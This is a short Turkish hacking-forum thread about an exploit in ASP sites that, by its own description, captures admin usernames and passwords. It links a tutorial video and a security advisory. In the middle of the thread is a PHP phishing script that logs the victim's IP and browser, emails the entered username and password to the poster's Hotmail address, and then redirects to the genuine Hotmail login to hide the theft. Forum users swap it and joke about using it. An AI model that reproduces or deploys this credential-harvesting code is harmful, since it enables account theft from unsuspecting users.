ASP Sitelerde Msj Açığı (Videolu)
-
http://rapidshare.de/files/20905641/clip0012.rar.html
Admin kullanıcı adı ve şifreleri ele geçirir
Gerekli bilgi video da mevcut... -
----------------------
if (getenv(HTTP_X_FORWARDED_FOR)){
$ip = getenv(HTTP_X_FORWARDED_FOR); } else {
$ip = getenv(REMOTE_ADDR); }
$useragent=$_SERVER["HTTP_USER_AGENT"];
$td = date("F jS");
$date = date("d M, Y");
$time = date("g:i a");
$LogTime = trim(" Date: ".$date.", Time: ".$time);
$yourmail = "mail@hotmail.com";
mail("$yourmail", "
$naam. ..::Sifre::..
$yourmail", "Username : $name \n Password: $pass \n User Ip Address : $ip \n Logtime : $LogTime \n Agent : $useragent \n \n .:::fake::..");
header( "Location: https://loginnet.passport.com/ppsecure/post.srf?lc=2057&id=2&ru=http://www.hotmail.msn.com/cgi-bin/sbox%3f_lang%3dEN%266c6f7264%3dhttp://www.msn.co.uk&tw=20&cbid=24325&da=passport.com&kpp=2&svc=mail&msppjph=1")
---------------------- -
yaw kodu verebilecek vaar mı
-
http://securitytracker.com/alerts/2006/May/1016171.html
-
saol
şimdi heyklesem mi neyse cafeden heyklerim -
dene şimdi dene :D çoğu sitede açığı kapatmışlar ;)
-
Bu açığı tarihlerde arayalım :)
Toplam Hit: 1892 Toplam Mesaj: 7
